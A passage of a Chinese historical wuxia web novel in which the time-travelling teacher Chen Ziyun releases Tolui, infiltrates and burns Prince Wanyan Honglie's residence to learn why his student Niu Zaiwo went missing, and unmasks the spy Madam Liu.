陈子云兴味索然的看着正在自己跟前挥洒汗水的托雷,对这位蒙古小王子再也没有了当初的兴致。 他本来就是为了扰乱铁木真部落的内部才将托雷这个铁木真的小儿子骗出来的。 就是想让这只雏鹰,在有了足够的力量之后,提前与自己的父兄发生争执,就算他没有李世民那般杀兄囚父的决心,起码也能起到一些拖延的作用。 可哪里想到,自己的三个小徒弟,竟然就这么急慌慌的跟金国打了起来,而且看这阵仗,收复整个金国也不过是早晚的事。 那南宋与蒙古的这一战,也就再也没有拖延的余地了,一个中兴的王朝,跟一个初生的盛世,终究是要以战定胜负的。 “你可知道,南宋跟金国的战况?” 陈子云问托雷道。 托雷本是心无旁骛的在练习拳法,听陈子云这么一问,先是将拳路走到了收式,随即长长的吐出一口浊气。 “呼……先生,怎么关心起这些事情来了。” 托雷先是笑着打了个马虎眼,可见到陈子云那严肃的神情时,就知道他是糊弄不过去了。 “我倒是听到一些,父兄在讨论的时候,都是说,金国不如以前了,南宋却是不知为何又像以前了。” 托雷的嘴巴还是很严,只说了些没有确切的信息的套话。 陈子云瞥了托雷一眼,直到这个便宜弟子的心思极重,能这般说也算是妥协了,自己也不好再勉强,反倒是没意思。 “你父汗的伤好了?” 托雷下意识的抬头,左手不自觉的抖了抖,这是他平时策马狂奔时的抽打马背的动作。 不知为何,他此刻特别想离开自己这位神秘先生的旁边,好似有一股寒意,让他这个素来胆子不小的铁木真四子也觉得难以承受了。 “大好了,已经痊愈的差不多了。” 托雷尽量让自己显得很平静。 “你就不好奇,我是怎么知道铁木真受了重伤的?” 陈子云笑着问道。 “自然是先生神通广大。” 托雷此时也镇静了下来,坦然的回答道。 “哦,你就不怕我对你父汗是别有用心,图谋不轨,我教你本事也不过是为了把你作为一道阶梯,好让我有机会接近你父汗,你想过吗?” 陈子云笑眯眯的看着托雷。 托雷感觉此刻的这位先生,简直比自己的那位父汗还要让他惧怕,就像是草原上最勇猛的雄鹰,正从千米高空中朝着自己俯冲而来,自己却被那种气势压制的连拉弓都不敢了。 “不……” 托雷想否认,艰难的从嘴角吐了一个不字。 “托雷,我教过你的,作为一个王子,你可以对任何人说谎,但是作为一个武者,你绝不能欺骗自己。 在这个地方,这个山坳,在我的面前。我曾经告诉过你,要想学好我教你的东西,诚,是i最基本的要求。 不是对我诚实,而是对你自己,练拳的时候,对自己的身体,对自己的心诚实,你才能真的感受着拳法中的奥妙。 否则你就是练的再多,又有何用,那一拳拳的挥出,除了给你洒下些许汗水来,跟你牧羊赶马有何不同!” 陈子云眼中精光乍现,一种难言的威势压向托雷。 托雷终究不过是初入武学门槛的小子,对于这种脱胎于小李飞刀和破体无形剑气的精神秘术,没有丝毫的抵抗之力,直接双腿一软,两眼更是被刺激的直流眼泪。 “先……生……” 托雷咬着牙,嘶哑的呼喊着,他知道自己如今正在生死边缘,他想开口求情,但是始终只能吐出这两个字。 可此时的陈子云彷佛已经下定了决心,只是铁青着脸,抬起左手,五指张开,朝着托雷的脑袋上缓缓扣来。 陈子云此时也不用什么招式,已经瘫软在地的托雷根本无法做出任何反抗。 托雷倔强的昂着头,因为用力过度而充血的,似乎要跳出眼眶的一对眼睛死死的盯着陈子云罩过来的手。 他想过这位神秘的先生可能对自己没安好心,他也不过是想学了对方的真本事,才决定赌一把。 因为当时父汗的伤势,加上几位兄长的不待见,让他心中惶惶不安,他年纪小,又没有什么反抗的余地,只有靠自己学得一身本事,才能保护自己。 可随着他跟陈子云的学习,也知道自己这位先生不但武功厉害,其他的知识也是无一不通,甚至连他最渴望的用兵之法,也是不可小觑。 可惜,就如同铁木真不愿意教他带兵打仗的谋略一样,这位神秘先生,每次谈到这方面也总是点到即止。 这让托雷心中很是不满,但他当了这么些年的小弟,自然是懂得如何隐匿自己的情绪的。 他要做的就是更努力的学会陈子云教的拳脚功夫,不过是个把月的时间,他就已经在部落里摔跤打遍无敌手了。 而且只是他把陈子云的教的那些本事,稍微化合到蒙古摔跤的技巧中而已,还没真的用出,那一招就能将人打死的拳法。 第三百七十二章 回返 陈子云教托雷的这套拳法,是他借鉴了军中打仗的本事,加上对人体各大死穴的打击,糅合而成的。 唯一的目的就是在最快的,最简洁的招式下,置人于死地,是一套只为杀人而创出的拳法。 招式简陋,陈子云自己并不怎么看得上,但是对于蒙古出身的托雷而言,这简直就是量身定做的,世间最适合他的拳法。 招式如何不重要,重要的是能让敌人瞬间就死亡。就跟自己射箭一样,必然是要瞄准猎物的要害发射的,要是只伤不杀,那不过是三流射手。 所以,当托雷知道这套拳法,陈子云并没有取名字的时候,他毫不犹豫的就将这套拳法命名为“箭拳”。 取义,拳出如箭,绝不回头之意。 至于说,其中的箭指要害,一拳要命的深意,那就只能是真正了解这套拳法的人才能知道的了。 陈子云自然无所谓,本来就是一套游戏之作。 可就是这套让托雷很是自得的拳法,如今在自己先生的手下,竟然连出手的机会都没有,这如何能不让托雷,颤抖。 “罢了罢了,终究你我之间有这么一段机缘,你走。” 陈子云收回了自己的手掌,托雷顿时如释重负。 “……多……谢先生。” 托雷气息都还没喘均匀,就直接给陈子云拜谢。 “谢?你怕是恨我,怨我才是……” 陈子云道。 “先生……” “不用解释了,你是什么个性,我已经清楚了。不必说那些话,既然我不杀你,自然就不会再为难你。 只是给你个忠告,跟南宋交战,两国争霸,到时候身死难料,要是你能知难而退,哎,算了,以你的性格……去。” 陈子云欲言又止,挥挥手,打发托雷离开。 “先生,托雷不敢忘授业之恩,虽然我也知道,南宋与蒙古之间必然有大战,只要是我托雷带兵,我保证一定不会伤害您的亲人。” 托雷还是跪在地上不敢起身。 “我的亲人?哈哈哈,你要是真碰到了,还不知道是谁饶过谁呢!” 陈子云也不愿意再跟这位未来的蒙古大汗说什么。如今铁木真受伤未愈,就算他还能一统草原,在位的时间肯定也是不如以前了。 到时候这位本来最安分的小儿子托雷,说不定能给那位成吉思汗带来什么大惊喜呢。 其实陈子云也明白,草原一统是i必然的,他做的不过是想拖延一些时间而已。 但是现在,不仅蒙古这边的情况出现了变换,就南宋与金国那边也是不同了。 如今宋金大战,宋军占领着明显的优势,等蒙古一统了,南宋如无意外也应该能拿下金国了。 那到时候,两方再战,就真的说不好,到底是谁更占优势了。 虽然蒙古铁骑的威猛天下难有,可南宋收复北地之后的威势,也不容小觑。 到时候必然是一场龙争虎斗,虽然难免无数人血洒疆场,可这样得来的胜利,才是南宋中兴的奠基石。 要不然,简简单单的真的就算是让南宋收复了金国,那些早就疲乏了的南宋文臣,还是会将南宋带入不可阻挡的历史倒退的深渊。 世家的崛起,土地的兼并,党同伐异的关系链,只有在这样的国战中,赵茵萝才有合适的借口,将这些根深蒂固的既得利益群体给打散,把整个国家再次盘活。 虽然从陈子云的角度看来,封建体制只要还在,就永远都会往这条路上发展,如他们这般的努力,也不过是在这条路上引入一条活水而已。 虽然能让南宋稍微变得活力些,可到时候,这水与泥混在一起,反而会成了这满塘的泥泞。 独裁,封建,官绅,世家,早晚是要站在历史的倒车上的,谁也没法阻止一个王朝走向灭亡,这是历史的规律。 除非……君主立宪……不可能的,生产力不到一定的层次,哪里来的民主政治,这是时代的束缚,不是靠一个两个人能解决的了的。 陈子云吩咐了一声老黑,开始了他的回返之路,他来蒙古的这一趟可以说是基本完成了。 虽然与预料中的情形差了很多,但是该做的已经做了,至于杨康自作主张与金国直接开战的情形,是意料之外的事情。 不过既然事情已经到了这一步,那也就没必要纠结了,想来赵茵萝既然能看着杨康这般的胡闹,必然是做了准备的。 况且,铁木真如今这般情况,蒙古必然还要乱上一段时间,而且自己也给了王罕部落相当的帮助了,能不能撑过去,就看他们父子的天命了。 至于说托雷,那不过是个盘外的一招闲棋而已,能不能起作用,或者说是起正方向的作用,还是反方向的作用都犹未可知。 倒是杨康那边说,牛在我可能受了重伤,暂时下落不明,让陈子云有些担心,甚至还有几分意外。 以他对牛在我的了解,以及他如今的功夫,还有什么能让他落到如此地步,实在是想不明白。 可要说牛在我死了,陈子云是如何都不会相信的,自己在这个世界上,真正教的徒弟也就是他跟赵茵萝了,连杨康郭靖都是跟着牛在我学的。 “小子,这次可是要好好教训你一顿了,要是没有足够的理由,就等着回炉重造。” 陈子云是有些怒其不争的,杨康郭靖都开始主导一场战争了,作为大师兄的牛在我却在敌后工作中出了问题,这如何能让陈子云不生气。 …… 本来已经基本无大碍的牛自我,没由来的感觉背后升起一股凉气,直冲自己后脑门。 “奇怪,这天气也算不得寒冷,如何会这般。” 牛在我停下了手中的活计,有些不知所以。 他现在正忙着帮孙家父子,准备逃难用的食粮,他们准备先躲到附近的山上,尽量找没有人烟的深山老林,只有那样,不管是南宋的军队,还是金国的军队,都不至于祸害到他们。 如今宋金两国的大战,已经如火如荼,整体上宋军明年先是大占优势的,金国据城而守,才能勉强挡住宋军的攻势。 可如今,金国早就人心惶惶,朝廷的不作为,军队的腐败,早就让金国没了当年的气概。 第三百七十五章 密信 足足过了一刻钟,将柳夫人看得直接低下头去,才回了一句。 ”这样啊……那就难办了。“ 柳夫人讷讷的不大声,涨红着脸,似乎在暗暗责怪,陈子云这人不守规矩,竟然对自己这个妇道人家这么直勾勾的盯着瞧。 就算他是牛大哥的长辈,可毕竟也是男子,按照牛大哥的家教,怎么也不该有这样的长辈才是,难道这人是冒名的? 陈子云琢磨着后面该去哪里找牛在我,丝毫没有注意到这妇人的女儿心态,他刚才那般无礼,也不过是想再次验证,这女人是不是可能对自己隐瞒了什么,可惜无所得。 “柳夫人,柳夫人,赶紧,赶紧跟我去市集上……” 李大妈从院子外头急匆匆的朝着这里边来了,当她见到坐在上首位置的陈子云时,明显有些错愕。 “这位想来就是李大妈了,我是牛小哥的亲戚,这次是来汴京找他的。” 陈子云先起身招呼道,牛在我向他介绍过他在汴京的情况,作为牛在我的房东,这位李大妈自然也是在详细分析之列的,要不然一不小心住进了敌人的老巢里,那不是尴尬了。 “啊……哦……” 李大妈先是一时没能反应过来,想着牛在我已经失踪的个把月了,自己身为房东,一时又不知道如何解释,连说话都说不清了。 “这……柳夫人……” 李大妈求助般的望向柳夫人道。 “大妈别急,这位尊长是知道牛大哥的情况的,我们如实说了就是了。” 柳夫人道。 “诶,也不要说什么尊长了,我姓陈,算是教牛小哥小时候读书的先生,两位要是不介意,就称呼我一声陈先生即可。” 陈子云道。 一老一少两位女子,相视一眼,纷纷招呼。 “我见大娘如此着急,好似有什么要事找柳夫人?” 陈子云问道。 “这……倒也不是什么特别的事情。” 李大妈欲言又止。 “哈哈,既然大妈如此,我就先回避好了,你们先聊。” 陈子云以为是自己这个外人在,李大妈不好意思说。 “不不……陈先生别误会,也不用回避,我不过是找柳夫人陪我一起去市集采办而已。 哎,说起来也是的,这两国一打仗,汴京里的粮食一天一个价,就算这般的涨价也是难买到自己心仪的粮食。 这不,刚收到消息,集市上来了一批好粮食,听说价格也合适,这是难得的,我也是托了好些人情,才问到的消息。 所以我这才来叫夫人跟我一起去,好多买了粮食。 这家里,再过几天就揭不开锅了,这时节啊,就是有钱也买不到粮食啊,你说是什么杀千刀的日子。” 李大妈脸上都快激动的落下泪来了。 陈子云默默不做声,他自然知道,这汴京城之所以变得粮食紧缺,还有他的一份功劳。 两国交战,打的不单单是两国军队的精良,后勤的保障更是重中之重,而相比于南方的水乡富饶,位于北边的金国,在粮食生产上自然就相对落后。 而这战争一开打,朝廷自然就将保障前线的粮食供应为第一优先,至于说普通的平民百姓,自然是顾不得了。 说的难听些,要是金国真的败了,君王跟朝中大臣不见得能活的了,可这百姓,谁又会去为难他们。 所以说,现在保护他们的国家就是保护他们自己的利益,至于那帮普通百姓,自求多福。 “大妈,你稍等,我这就去厨房拿米袋子,尊……陈先生,您就先在家里歇息,我跟大妈先去集市上买些米面来,也好给你接风洗尘。” 柳夫人说着就往后厨去了。 陈子云只是点点头,没有在意。 他来这里的目的,不过是想找些蛛丝马迹,好确定牛在我可能会去的地方而已,并不打算在这里长待。 等李大妈与柳夫人都出门了,陈子云开始在这小院子里搜寻了起来,重点呢自然就是牛在我的书房。 陈子云一进书房就笑了,牛小子果然还是以往的习惯,不管是在牛家村还是在东海桃花岛,他的书房总是同样的摆设,连书架都必须是两个堆叠在一起的。 当年陈子云还问过他,为何要这样,当时牛在我只是说,他喜欢在两个书架中间站着看书,这样更容易让自己进入状态。 陈子云从两个书架的中间走过,眼睛不断的扫视着两侧书架上的摆设,一丝一毫都不放过。 直到在右侧书架的的第三行靠中间的地方停下,这里是牛在我习惯性的放重要书籍的地方。 陈子怡将那一摞书籍都拿下来,放到了书桌上,在几本书之间搜寻了一番,终于是在《诗经》的夹层中找到了一张白纸。 上面并没有什么字迹,但是当陈子云将这页普通的纸张拿起来斜对着窗外的光线时,上面的凹陷就隐约可见了。 陈子云从书桌上的笔筒中找出了一根用硬碳和麻绳做的炭笔,嘴角不由得笑了。 这是他们之间早就约定好的通讯手段,其中的机密不在如何的隐蔽,只是这硬笔写简体字的法门,却是陈子云教这些学生的,除了他们几个之外,这世上的人,就算是得到了信息,也是解读不了的。 而这发完消息之后,留底,以防信息被截留,而发信人同时被抓的情况发生,就约定将这垫在信息书写纸张下的那张存放在特定的地方。 以便如现在的陈子云一样,能有了解事情始末的机会。 陈子云小心的用炭笔将这凹凸痕迹在纸张上轻轻的图画隐现出来。 几个字在炭笔涂成的黑底中隐约显出了白色的痕迹。 “拟刺杀完颜洪烈,以助宋金之战,如事有不谐,则必有内贼……柳氏女……还请留她一命。” 陈子云看着纸上的字,脑海里却是一直回忆着,他刚刚跟那位柳夫人接触下来的点点滴滴,丝毫没有看出哪里会是内贼。 是与不是,等她回来,试试她就是了,一个普通人,难道还能抵挡的了自己的手段不成。 现在最大的问题是要先找到牛在我,其他的都不急。 第三百七十六章 拜访六王府 刺杀完颜洪烈,那就是往南去了,这点到与杨康传来的消息对应上了,可是会是在哪里动手,又会是在哪里被算计呢。 陈子云不由得在脑海里盘算,猜测着,从汴京到宋金交界,完颜洪烈的路是不能随便选的,自然是要走官道的。 至于说,牛在我会选择在哪里下手,无非就是几处完颜洪烈安营扎寨的地方,只有等对方歇息安寝了,才是刺杀的好时机。 那么只要打听出当时那队人马的行程就可以了,至于说,如今的完颜洪烈正在前线与杨康郭靖他们交战,一时之间难以找到,那就只能去找相关人士了。 或者直接潜入六王爷府,那里想必也是留下了些线索的。 …… 李大妈与柳夫人两人从集市回来了,身上都扛着一袋米粮,可看那袋子的摸样,显然是没有装满的,这与他们之前出发的时候的初衷显然是不符的。 “这些杀才,竟然跟老娘抢,实在是恼人,但凡有机会,非要好好编排他们一顿不可,一堆大老爷们,竟然好意思……” 李大妈脸色显然不好看,连两人的衣服上也尽是褶皱,看来这两包米粮显然是来之不易的。 “大妈可是遇着什么不顺心的事了?” 陈子云问道。 “不敢污了陈先生的耳朵,不过是街面上如今乱的很,不走运碰到了几个不要脸面的人物而已。” 李大妈倒是还讲究起来了,对着陈子云这位客人终究是收起了自己的愤愤之言。 “哦,原来如此。我帮两位拿。” 陈子云伸过手去,不管这两位是不是真的是内贼,他这点风度还是有的。 “不用,不用,不过是还不到半袋的米粮,哎,如今啊,这粮食可真是难买了。 本来我们是带了三个袋子去的,可如今买回来的,合起来不过是一袋子多谢,省吃俭用的也就够半个月的口嚼的。 这还是托着我跟那卖米的活计有三分亲故,也不知道下次卖粮要到什么时候,天可怜见,难道这人还真要活生生饿死在这汴京城里!” 李大妈不由得神情惨然。 “大妈莫急,这会儿我正要出去,等我回来,必然给你们带回一些食粮来。” 陈子云笑道。 “先生,如今这汴京城中,可不好买粮食的,不是就我们这边这样,听说如今是全城都是一般。 我们这里还是这位卖粮的大商人,为自己母亲的寿诞祈福,才放了几仓粮食。 现在的手里有粮食的商人,要么就被军队预订了,要么囤积居奇,等着粮食涨价。” 柳夫人柔声的劝解道,她是怕这位刚来汴京的陈先生不了解情况,才会说此大话,自然不好看着他去碰钉子的。 “多谢夫人提点,可我要去的地方,不比其他,就算是整个汴京城都没了粮食,那里必然也是有的。” 陈子云道。 “先生可别这般说,这汴京城里多少官家老爷,都在省口粮,就算你认识的那人在城中有些地位,可到了这光景,如何还会将粮食送给他人。” 李大妈显然是不信的,只以为是陈子云好面子而已。 “哈哈哈,两位莫忧,你们不知道我要去的地方,才会有这般的想法。” 陈子云笑着说道。 李大妈与柳夫人相视一眼,都疑惑,到底是什么人家,让陈子云这般的有底气。 “哈哈哈,我要去的是完颜洪烈家,也就是你们说的六王府,他家可不会没有粮食。” 陈子云笑着看着两人肩膀一抖,不自觉的就将手里的粮食给掉了下来。 “诶,莫慌,我是在南边与这位六王爷有过一面之缘,想来他这大门大户的,也不至于拒绝我这点借粮食的要求。” “六王爷……府上?” 李大妈显然是被吓的不轻。 柳夫人则是蹙眉咬唇,双手不自觉的用力的绞着。 陈子云自然是看在眼里的,可他也不能就因此断定这位柳夫人就是害了牛仔我的人。 “两位可有什么中意的食材,我好顺便都带些回来?” 陈子云口气轻松的问道,好似他去六王府就是去酒店后厨房似的。 “这……” 李大妈张口结舌。 柳夫人一言不发。 “如此,那我就随意的带些回来。” 陈子云说完就起身走了。 两人愣愣的看着他,都不知道如何是好,在正常的普通人的认知里,他们怎么可能跟那些高高在上的人物扯上关系。 而且,这位陈先生还是他们相当熟悉的一个人的长辈,那岂不是说,牛在我也可能认识当今的六王爷,这让她们一时如何能够接受。 …… 六王府作为金国最显赫的权势人家,宅地自然是在最繁华的地方的,陈子云站在这栋宏伟的王府前。 不过陈子云没有在意这雕栏玉砌的豪华门庭,反而是在猜测当时牛在我探查此处的时候是从哪里进去的。 是假扮了谁,找关系混进里面的,还是直接做了梁上君子,乘着夜色的掩护直接从这墙上一跃而入的呢! 陈子云这次来却是两个法子都不打算用,他做的只是朝着这金碧辉煌的六王府的大门,他要让他们大开正门迎他入内。 他从街上朝着大门而去,不过十几步的距离,而这条街上的行人哪个不是绕着这大门走的,所以当陈子云这般突兀的朝着大门肆无忌惮的走去时,立刻就招来了看门护卫的注意。 当陈子云迈出三步后,他的眼神变得庄重,第四步踏出,眉宇之间皆是贵气,第五第六步,嘴角开始下压,一种神秘的威严开始笼罩,当第八第九步,跟那几个过来准备询问陈子云的门卫照面时。 他可以清晰的从对方的眼睛中看出敬畏。 “还不开门,王爷有吩咐教我带回来。” 陈子云的声音不急不缓,但是里面是不容拒绝的威仪。 两个门卫下意识的就低头应是,其实按照他们的目光看来,陈子云如今的装扮,加上此时的神情,像极他们心目中那些在自己家王爷身边,得力的军师人物。 只不过是这位军师的威严更胜一些罢了,想必是如今在战场上给王爷久了,沾染的杀戮之气。 第三百七十七章 火烧六王府 两人赶紧高喊:“开中门喽。” 这门可不是能直接从外面开的,没有里面的人配合,就是再大的力气也休想打开。 只听得里面一阵急促的脚步声,随即是木料的碰撞之声,最后在吱吱呀呀中,这厚重非凡的实木大门缓缓而开。 陈子云从容而入,进了二道门就有一群妇人迎了出来,看来这些就是完颜洪烈的妻妾了。 “拜见王妃,王爷有机密要事,只命我告知王妃一人,事关家国生死,还请王妃见谅。” 那领头的贵妇人见陈子云如此郑重其事,也就没有怀疑。 “那你随我来,我们去王爷的书房叙话。” 陈子云跟着这位仪态端庄的王妃,穿过厅堂,来到一个景色幽静的小院里。 王妃将负责打扫书房的小厮指使了出去,带着陈子云入内。 “王爷到底让你带什么消息回来?” 陈子云微微一笑,直接一指点在这妇人的脖颈,瞬时就让对方晕倒了过去。 “完颜洪烈被杨康那小子纠缠上,要回来可就难喽,而且,就算回来,也不过是败军之将,当今的金章宗可不会姑息他。 偌大的六王府,看着金碧辉煌,实在是已经到了烈火烹油盛极而衰之境,随时都可能土崩瓦解。” 陈子云暗自忖度,随后就在书房里搜寻了起来。 书桌书架,这些明显的地方,陈子云连看一眼都欠奉,对于那些机密的事情,就算知道能潜入六王府的贼人不多,完颜洪烈也是不会这么粗心的将关键的资料放在明面上的。 所以陈子云在各处敲敲打打,就是要找出这其中可能藏着的暗室。 也是这位王妃帮忙,一下子就把陈子云带到了这书房里来,要不然要陈子云自己找过来,还麻烦的很呢。 “呛呛,咚咚……” 这不就找到了。 陈子云蓄力,朝着发出空洞声响的地方就是一拳,他可没心思去找机关,这书房虽然不算大,可物件玩意可不少,一件件试过去也麻烦。 况且,自己跟这位王妃要是在这里单独呆的久了,难免会有人起疑心的,所以还是快刀斩乱麻,陈子云直接打穿了这隐藏在暗处的密室。 随着木屑蹦飞,砖石倒地,陈子云接连几拳几脚就把这密室开出了一个够人通过的大洞来。 随手拿过书房里的烛灯台,点燃后朝着里面摸索而,没一会儿就看到一个小的书桌,以及一排排的书架,显然这里放着的东西都是完颜洪烈最机密的资料讯息。 要是让陈子云一个个的找过去,那必然是来不及的,好在完颜洪烈也是个有心人,这一排排的书架,不但做了标识,甚至还层层分级。 所以陈子云按照南宋,外事,谍报分支找到了他想要找的东西。 ”原来是牛小子自己暴露了。“ 陈子云看到,牛在我在汴京城里的活动,都在完颜洪烈的监视之下,就不由得感慨,这小子还是嫩了些,不是完颜洪烈这种老乌龟的对手啊。 倒不是牛在我自己漏了什么马脚,而是他发展的那些人,在偶然中被完颜洪烈的探子给发觉了,顺藤摸瓜找到了他。 后面牛在我的消息,也是通过那个漏出马脚的小角色里得到的,至于那位柳夫人,自然就是完颜洪烈派出的专业人士,虽然对方手无缚鸡之力,却是一位资历深厚的反间谍人员,也是完颜洪烈手中的一张王牌。 “在我小子,这次你摔的这一跤倒是不冤枉。” 要是论武功,论个人学士,自己的徒弟当然是胜过这柳夫人千万倍的,可要是比起玩弄人心,那牛在我在她面前不过是稚童而已。 就算是他,也不是一时没有看出这位柳夫人的来历吗。 陈子云将这些有关的资料一股脑的收了起来,随后就是直接将灯烛直接扔在了上面。 至于说为何这般的浪费,不把这些资料统统带走。一来是自己不方便,二来在军事大局已经确定的情况下,这些暗地里的勾当就算再精致,也不过是大风压草,必掩。 南宋的大势已成,这些鸡毛蒜皮的,不要便不要了,无关大局。 火势已起,陈子云拎着那位王妃出了书房,将她放在火势蔓延不到的地方就翻出了院墙。 “走水了,走水了……” 等府上的人发现里面的情况,陈子云已经安然的走在了街上了。 之所以救那位王妃,倒不是陈子云假慈悲,就像刚才他不愿意拿那些资料一样,一个无关大局的女人,生死对他都没什么影响,救与不救,也就是刚才的一念之间而已,连深问都费劲。 而当陈子云回到牛在我曾经的小院时,却是让他大笑不已。 “哈哈哈,小子,你倒是活着回来了。” 陈子云当即抱住那个正在跟柳夫人亲密叙旧的牛在我,狠狠在他背上拍了几下。 “咳咳,先生,还请手下留情。” 牛在我差点就被陈子云敲的旧伤复发,可脸上同样是激动的。 “知道疼就好,省得以后你还仗着自己有几手三脚猫的功夫,就鲁莽行事,中了别人的圈套,还不自知。” 陈子云从牛在我的背后瞟了柳夫人一眼,见她面有愧色,一时间却是不好直接拆穿了。 他如何看不出来,牛在我对这位夫人是动了真心的,要是自己在此时要他斩情丝,怕是要弄巧成拙。 “让先生担忧了,是学生的错。” 牛在我如何猜不到,陈子云既然出现在了这里,那就说明他放弃了在蒙古的布局,这让他既是感动,又是羞愧。 他现在还不知道,前线的杨康为了他掀起了两国大战,可单单陈子云这般的作为,已经让他羞愧难当了。 “哼,还不跟我进来。” 陈子云最见不得就是他这般的样子,见人高一头的牛在我,每次有了点过错,在自己面前总是抬不起头来。 虽然知道,他这是尊重自己这个先生,可自己倒是更希望他能强硬一些,对于这个大弟子的期望,他可是还放在郭靖杨康之上的。 杨康太聪明,这样的人,你是无法推心置腹的,而郭靖却又缺心眼,这样的人跟他一起是很心累的。 第三百七十八章 抉择 而牛在我,不仅文武双全,而且还将儒家的那套君子仁心继承了下去,这样的人在将来的和平世界是最有用武之地的。 刚坐下,陈子云就直接抓住了牛在我的脉门,也不容他反抗,仔细的甄别着他体内的状况。 “混小子,你这伤害在内里,撑什么,还不给我去躺着。” 陈子云顿时就发现,牛在我虽然便面上好了,可大量的失血,加上没有后面仔细的调理,如今正是气血两亏的症状,要是这样再耽搁下去,就要烙下终身的病根了。 “先生……” 牛在我即是感动,又有些为难,他之所以回汴京城里来,可不是来养伤的,他有更重要的事情要做。 “进来。” 陈子云也不听他说是很什么,直接一把就将人扯了进来。 “夫人还请见谅,我要好好查看一番牛小子的伤势。” “先生,还劳烦你仔细些。” 柳夫人倒是识大体的很。 一进屋,陈子云将门一关,直接就将怀里的资料递了过去。 “先生这是?” 牛在我好奇的问道。 “自己看,我刚从完颜洪烈的王府里拿出来的。” 陈子云自顾自的给自己倒茶。 牛在我接过资料,当他看清楚上面是什么的时候,陈子云躲在茶碗后面的眼睛直直的盯着他的表情。 只见牛在我的脸上肃然,全身精神紧绷。 陈子云没有出言宽慰,一直等牛在我爸这一打厚厚的资料给翻看完了,才开口道。 “如何感想?” 牛在我看着自己先生调笑自己的表情,神色惨然。 “先生,弟子倒是有些隐隐的猜测,只是一直不愿意往这方面想,如今先生却是把弟子直接扔到了晒盐场里,哪里还容得弟子躲在自己编制的阴影里自欺欺人。” 陈子云对于牛在我的预感并不吃惊,要是真的一点察觉都没有,那他才会失望呢。 “那你打算如何处理?” “……” 牛在我一时惘然,不知所措。 只是愣愣的看着自己手里那打资料,似乎想将里面描述的那位人物跟自己认识的那位柳夫人联系到一起。 “怎么,难道还要让我这个做先生的帮你出手?” “不要,先生,还请先生给在我一些时间。” 牛在我下意识的拒绝道。 “你小子,是真的陷阱去了?你在书院那些时候,也不是没有见过女子,要说容貌品性,哪个也不是她一个有妇之夫,不,是一个用美色惑人的女间谍能比的?” 陈子云一副恨铁不成钢的样子,呵斥道。 牛在我那硕长的脸颊上顿时臊热的不行。 “嘿,瞧你的没出息样,要是让你的那位杨康师弟来,说不得要好好逗你一场。 嘿,也别说,这小子竟然那么大的胆子,直接掀起了两国的大战,连我的计划都被打断了。 等见着了,要是不好好教训一顿,你们这些小崽子都要无法无天了。” 陈子云虽然嘴上说着弟子不孝,可那唇间的笑容却是骗不了人的。 “杨师弟天赋异禀,不是在我的愚钝资质能比的,就是郭靖师弟的那股劲儿,也是得天独厚的。 两人将来的成就,必然是在我之上的。” 牛在我想到那两个自己带大的小子,也是满面的笑容。可眼角瞥到自己手里还捏着的资料时,这份欣慰却只剩下了苦涩。 我应该拿你怎么办才好呢? “好了,该如何做想必你自己心里也明白,两国交战,自然是各出手段,不管是明的也好,暗的也好,只要能赢,所有人都不会介意。 在这个时候,输赢才是关键,没有人会记得胜者耍了什么手段,只会知道败者就是只能是丧家之犬。” 陈子云拍拍牛在我的手臂就率先出了门去,相比较于他身体的内伤,这份情感的抉择对现在的牛在我来说才是最重要的。 牛在我自顾自的坐在房间里,几乎都不敢去仔细看自己手上的那打资料,内心里的斗争更是片刻都不曾停歇。 陈子云来到外面,见柳夫人不在厅里,就往后院而去,遥遥望见,她正在自己的房间里收拾着。 这让陈子云一惊,第一反应就是这人莫不是想畏罪潜逃,可她又如何知道自己暴露了的。 陈子云不好直接闯进柳夫人的闺房,要是换做一般的敌方间谍,就算是个女的,他也不会有什么顾忌,可这人偏偏跟自己的大徒弟牵扯不清。 而且这个徒弟,如今还下不了决心,显然是用情颇深的,那他这个做师傅的如何能不稍微注意一些。 “柳夫人,你这是为何?” 陈子云在屋外问道。 “陈先生不是已经都知道了吗,为何还要这般明知故问?” 柳夫人此时倒是神色淡然的很。 “知道?我知道了什么?还请夫人明言?” 陈子云不由得皱眉头问道,他不过是刚从完颜洪烈府上得来了资料,如何就会被这妇人看穿。 ”陈先生无需如此,要是先生要留下我,自可以用强,我一个手无缚鸡之力的女子,自然是反抗不得的。” 柳夫人一边说着,手中的动作却是不停,似乎对于自己的暴露,丝毫没有慌张的意思,这倒是大大的违背了一般的间谍行事。 “……” 陈子云也是一时不知该如何说,他不愿意暴露自己掌握的消息,因为他要等牛在我作出决定,一方面又好奇的很,这妇人到底是真的知道了,还是在诈他。 可没等多久,柳夫人就背着包裹出来了,陈子云无法,只能先伸手拦下对方。 “夫人,还请明示。” “先生真的不知?” 柳夫人也是睁着美目,疑惑不解的望向陈子云。 “确实。” 陈子云严肃的点头道。 “先生刚来,六王府就出了事故,而刚才先生拉着牛小哥进去的时候,怀里还是满满的,如今却是空的。 要是我没猜错,陈先生就是造就了王府走水的人,而怀中的自然就是从王府里带出来的东西。 而先生从第一次见我,到这次回来,看我的神色有了明显的变化,再加上牛小哥对我的防备之心。 有了这些猜测,难道我还不该走吗?!” 柳夫人分析道。 陈子云不由得击掌,这才是专业的间谍该有的防备之心啊。 第三百七十九章 揭穿 “本来是想,趁着先生给小哥疗伤,不知不觉的离开,如今既然被先生逮住了,那我想来也是走不了。” 柳夫人冷静的说着,没有丝毫的紧张。 “不错,既然夫人有这样的觉悟,那也就不用让我为难了。” 陈子云道。 “先生想来是知道我的身份了,也就不用叫我夫人了,叫我栁寰香就是了。” 柳夫人,不,还是叫栁寰香。这位栁寰香倒也是新奇,被敌方抓个正着,却还能如此的淡然自若,丝毫没有为之后可能要面对的残酷现实而动容。 “栁寰香,柳小姐,如果完颜洪烈府中的资料是真的,那我倒是好奇,为何你一个官宦之后,会甘愿在他的手下,做这些最腌臜的事情?” 陈子云问道。 栁寰香没有回答,只是咬着自己的嘴唇,倔强的与陈子云对视着,那双剪水的眸子,好像在控诉着什么。 这倒是把陈子云给为难住了,要是对付一个简单的女间谍,他自然是有的是手段,可如今看牛在我的情形,明显是对这位栁寰香不同寻常,他这个左师傅的又如何能……麻烦。 “嘿,罢了,罢了,反正如今的局势,金国也不过是苟延残喘,等这汴京城也守不住了,也就无所谓金国南宋了,你这……也就无所谓了。” 陈子云无奈的道。 “你……真的愿意放过我?” 栁寰香显然是有些不相信的,虽然她以前不过是个养在闺中的大小姐,可这些年来,在完颜洪烈的手下,做的都是那些最腌臜的事情,对于这世界的阴暗面早就见惯了。 